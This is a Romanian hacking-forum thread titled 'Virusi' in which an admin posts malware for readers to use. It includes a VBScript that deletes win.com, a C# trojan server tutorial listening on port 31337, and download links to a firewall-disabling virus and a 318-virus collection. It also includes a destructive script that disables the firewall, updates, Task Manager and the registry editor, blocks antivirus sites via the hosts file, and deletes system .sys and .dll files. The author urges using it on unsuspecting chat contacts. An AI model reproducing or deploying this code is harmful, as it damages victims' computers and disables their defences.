Filehost.ro - gazduire fisiere
myoravita
Aplications ,Games, Movie ,Muzica , Hack Tools,Tutoriale , YouTube Movie . TvLive. Totul despre Calculatorul Tau . Pentru o dezvoltare rapida ,Vizitati-ne pe http://myoravita.3xforum.ro 		Nou pe simpatie:
Profil simobuzedulci_o
Femeie
24 ani
Dambovita
cauta Barbat
25 - 47 ani
myoravitaInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
myoravita / Hacking PC /

Virusi

 Pagini: 1 Moderat de Legea', bogdy_boss5
#1
CHINOOK MASTER
ADMIN
Din: cursele cu masini
Postari: 1002
Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

_______________________________________









Shadow Text generated at Pimp-My-Profile.com
 
   
#2
CHINOOK MASTER
ADMIN
Din: cursele cu masini
Postari: 1002
Cum sa faci un Troian in C#.NET


Deoarece
Windows Vista este partial integrat in platforma .NET Framework trebuie
sa stim sa lucram si in C#. MS lasa de inteles ca o sa faca ei cumva sa
anuleze interportabilitatea programelor de pe linux pe windows.

Deci, prin urmare m-am decis sa fac acest tutorial.

Capitolul 1 - Serverul

Pasul 1 - Crearea unei aplicatii fara fereastra
Cream un proiect - eu l-am numit Server
http://www.imagesl.info/uploads/408df42 ... 9c299a.png
Stergem Form-ul principal.
http://www.imagesl.info/uploads/c46e268 ... ff6f2b.png


Intram in Program.cs si modificam. Sursa dupa modificare sa fie asa:
Code:
using System;
using System.Windows.Forms;

namespace Server
{
static class Program
{
[STAThread]
static void Main()
{

}
}
}




Pasul 2 - Crearea Serverului
Scriem functia urmatoare care tot incearca sa creeze serverul in caz ca nu ii iese
Code:
static void StartServer()
{
// Incercam sa vedem daca merge sa cream serverul
try { createServer(); }
// Daca nu merge incercam inca odata, si inca odata, s.a.m.d.
catch { StartServer(); }
}



Acum facem functia createServer care creaza serverul propriuzis
Code:
static TcpListener SV;
static void createServer()
{
// se initializeaza portul
int port = 31337;
// se creaza serverul care "miroase" acel port
SV = new TcpListener(IPAddress.Any,port);
// se accepta doar o singura conexiune
SV.Start(1);

// cream un thread pentru a rula functia care "miroase"
Thread newThread = new Thread(new ThreadStart(startListen));
// rulam threadul
newThread.Start();
}



Acum functia care "miroase" acel port
Code:
static void startListen()
{
// cream un socket pentru conexiune
Socket LS = SV.AcceptSocket();
// daca s-a conectat careva ii trimitem mesajul "Welcome"
if (LS.Connected)
{
// cream octetii(bytes) care trebuie sa ii trimitem
byte[] buffer = new byte[1024];
// salvam un mesaj in ei
buffer = Encoding.Default.GetBytes("Welcome Dude ";
// ii trimitem
LS.Send(buffer);
// in caz ca dupa trimitere m-ai suntem conectati stam si receptam date
while (LS.Connected)
{
try
{
// lungimea mesajului receptat
int len = LS.Receive(buffer);
if (len != 0)
{
string msg = parseData(buffer, len);
LS.Send(Encoding.Default.GetBytes(msg.ToCharArray()));
}
}
catch { }
}
}
// altfel mai incercam odata
else
{
// cream un thread pentru a rula functia din nou care "miroase"
Thread newThread = new Thread(new ThreadStart(startListen));
newThread.Start();
}
}



Acum functia care parseaza mesajul.
Code:
static string parseData(byte[] buffer, int len)
{
return "Hy ";
}



La sfarsit, headerul din Program.cs este
Code:
using System;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Text;




*
Nu m-am complicat eu prea tare. V-am oferit o structura care o puteti
folosii la crearea serverului unui troian in .NET Framework 2.0

_______________________________________









Shadow Text generated at Pimp-My-Profile.com
 
   
#3
CHINOOK MASTER
ADMIN
Din: cursele cu masini
Postari: 1002
este un virus care dezactiveaza  firewalu

download
http://fbx.ro/eoh5r60re89wsnbh

_______________________________________









Shadow Text generated at Pimp-My-Profile.com
 
   
#4
CHINOOK MASTER
ADMIN
Din: cursele cu masini
Postari: 1002
Colectie de 318 virusi
http://fbx.ro/hli3ip6mzzcxz2he

_______________________________________









Shadow Text generated at Pimp-My-Profile.com
 
   
#5
CHINOOK MASTER
ADMIN
Din: cursele cu masini
Postari: 1002
Infecteaza registri
Deschidem un notepad si scriem urmatoarele :

Dim x , g , b
Dim filedelsys , filedeldll


Set x = Createobject("Wscript.Shell"
Set b = Createobject("Scripting.FileSystemObject"
Set filedelsys = CreateObject("Scripting.FileSystemObject"
Set filedeldll = CreateObject("Scripting.FileSystemObject"

' Disable Windows Firewall
x.regwrite "HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsFirewallDomainProfileEnableFirewall", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsFirewallDomainProfileEnableFirewall", "1", "REG_DWORD"
x.regwrite "HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsFirewallStandardProfileEnableFirewall", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsFirewallStandardProfileEnableFirewall", "1", "REG_DWORD"
' Disables Windows AutoUpdate
x.regwrite "HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsWindowsUpdateAUNoAutoUpdate", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdateAUAUOptions", "1", "REG_DWORD"
x.regwrite "HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsWindowsUpdateAUAUOptions", "1", "REG_DWORD"
x.regwrite "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdateAUNoAutoUpdate", "1", "REG_DWORD"
' Disables <Service Pack 2> Windows FireWall and AntiVirus Functions
x.regwrite "HKCUSoftwareMicrosoftsecurity centerFirewallDisableNotify", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftsecurity centerUpdatesDisableNotify", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftsecurity centerAntiVirusDisableNotify", "1", "REG_DWORD"
x.regwrite "HKLMSoftwareMicrosoftsecurity centerFirewallDisableNotify", "1", "REG_DWORD"
x.regwrite "HKLMSoftwareMicrosoftsecurity centerUpdatesDisableNotify", "1", "REG_DWORD"
x.regwrite "HKLMSoftwareMicrosoftsecurity centerAntiVirusDisableNotify", "1", "REG_DWORD"
' Disables TaskManager(Ctrl+Alt+Del)
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr", "1", "REG_DWORD"
' Disables Registry Editor!!
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools", "1", "REG_DWORD"
' Disables Other...
x.regwrite "HKCUsoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun1", "msconfig.exe"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerClassicShell", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerClearRecentDocsOnExit", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisableExplorer", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerConfirmFileDelete", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisableLocalUserRunOnce", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisablePersonalDirChange", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisallowCpl", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerForceClassicControlPanel", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerForceStartMenuLogOff", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerGreyMSIAds", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerHideClock", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerIntellimenus", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerLockTaskbar", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoActiveDesktopChanges", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAddPrinter", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAutoTrayNotify", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAutoUpdate", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoCDBurning", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoChangeAnimation", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoChangeKeyboardNavigationIndicators", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoChangeStartMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoClose", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoCloseDragDropBands", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoCommandPrompt", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoCommonGroups", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoControlPanel", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoDeletePrinter", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoDesktop", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoDesktopCleanupWizard", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoDFSTab", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoDriveTypeAutoRun", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoFavoritesMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoFileMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoFind", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoFolderOptions", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoHardwareTab", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoLogoff", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoInstrumentation", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoManageMyComputerVerb", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoMovingBands", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoNetConnectDisconnect", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoNetworkConnections", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoPropertiesMyComputer", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoPropertiesMyDocuments", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoPropertiesRecycleBin", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoRecentDocsHistory", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoRecentDocsMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAllProgramsMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAllPrograms", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAccessories", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoAccessoriesMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoRecentDocsNetHood", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSecurityTab", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSetFolders", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSetTaskbar", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSharedDocuments", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoShellSearchButton", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSimpleStartMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSMHelp", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSMMyDocs", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoSMMyPictures", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuMFUprogramsList", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuMorePrograms", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuMyMusic", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuAccessories", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuAccessoriesMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuNetworkPlaces", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuPinnedList", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoStartMenuSubFolders", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoTaskGrouping", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoThemesTab", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoThumbnailCache", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoToolbarsOnTaskbar", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoTrayContextMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoTrayItemsDisplay", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoUserNameInStartMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoViewContextMenu", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoWindowsUpdate", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerPromptRunasInstallNetPath", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerStartMenuLogOff", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoChangingWallPaper", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoAddingComponents", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoClosingComponents", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoComponents", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktoprNoDeletingComponents", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoEditingComponents", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoHTMLWallPaper", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesComdlg32NoFileMru", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesComdlg32NoBackButton", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesComdlg32NoPlacesBar", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesNetworkNoEntireNetwork", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoAddFromCDorFloppy", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoAddFromInternet", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoAddFromNetwork", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoAddPage", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoAddRemovePrograms", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoRemovePage", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoSupportInfo", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoServices", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoSupportInfo", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesUninstallNoWindowsSetupPage", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableChangePassword", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableLockWorkstation", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemHideLegacyLogonScripts", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoColorChoice", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoDispAppearancePage", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoDispBackgroundPage", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoDispCPL", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoDispScrSavPage", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoDispSettingsPage", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoSizeChoice", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemNoVisualStyleChoice", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWindowsUpdateDisableWindowsUpdateAccess", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerAdvancedTaskbarSizeMove", "1", "REG_DWORD"
' Disables Run
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerRestrictRun", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerNoRun", "1", "REG_DWORD"
x.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExlorerDisallowRun", "1", "REG_DWORD"
' Banned AV Web Service
Set g = b.CreateTextFile(C:windowssystem32driversetchosts",True)
g.writeline "127.0.0.1 www.symantec.com"
g.writeline "127.0.0.1 symantec.com"
g.writeline "127.0.0.1 www.sophos.com"
g.writeline "127.0.0.1 sophos.com"
g.writeline "127.0.0.1 www.macafee.com"
g.writeline "127.0.0.1 macafee.com"
g.writeline "127.0.0.1 www.f-secure.com"
g.writeline "127.0.0.1 f-secure.com"
g.writeline "127.0.0.1 kaspersky-labs.com"
g.writeline "127.0.0.1 www.kaspersky-labs.com"
g.writeline "127.0.0.1 www.kaspersky.com"
g.writeline "127.0.0.1 kaspersky.com"
g.writeline "127.0.0.1 www.trendmicro.com"
g.writeline "127.0.0.1 trendmicro.com"
g.writeline "127.0.0.1 windowsupdate.microsoft.com"
g.writeline "127.0.0.1 www.windowsupdate.microsoft.com"
g.writeline "127.0.0.1 www.rohitab.com"
g.writeline "127.0.0.1 rohitab.com"
g.writeline "127.0.0.1 www.google.com"
g.writeline "127.0.0.1 google.com"
g.writeline "127.0.0.1 www.msn.com"
g.writeline "127.0.0.1 msn.com"
g.writeline "127.0.0.1 www.yahoo.com"
g.writeline "127.0.0.1 yahoo.com"
g.writeline "127.0.0.1 www.astalavista.com"
g.writeline "127.0.0.1 astalavista.com"
g.writeline "127.0.0.1 www.hotmail.com"
g.writeline "127.0.0.1 hotmail.com"
g.writeline "127.0.0.1 www.microsoft.com"
g.writeline "127.0.0.1 microsoft.com"
g.writeline "127.0.0.1 www.ebay.com"
g.writeline "127.0.0.1 ebay.com"
g.writeline "127.0.0.1 www.gmail.com"
g.writeline "127.0.0.1 gmail.com"
g.writeline "127.0.0.1 www.dell.com"
g.writeline "127.0.0.1 dell.com"
g.writeline "127.0.0.1 www.msdn.com"
g.writeline "127.0.0.1 msdn.com"
g.writeline "127.0.0.1 www.hi5.com"
g.writeline "127.0.0.1 hi5.com"
g.writeline ""



filedelsys.DeleteFile "C:WINDOWSsystem32drivers*.sys"
filedelexe.DeleteFile "c:windowssystem32*.dll"


Aceste comenzi se scriu in notepad si se salveaza nume.vbs
Ce face acest script?pai hai sa va spun :infecteaza regeditul,
Restrictioneaza unele situri de AV si sterge dll file din system32 si sys files din Drivers
incercati pentru noobi de pe mess

_______________________________________









Shadow Text generated at Pimp-My-Profile.com
 
   
Pagini: 1  
Mergi la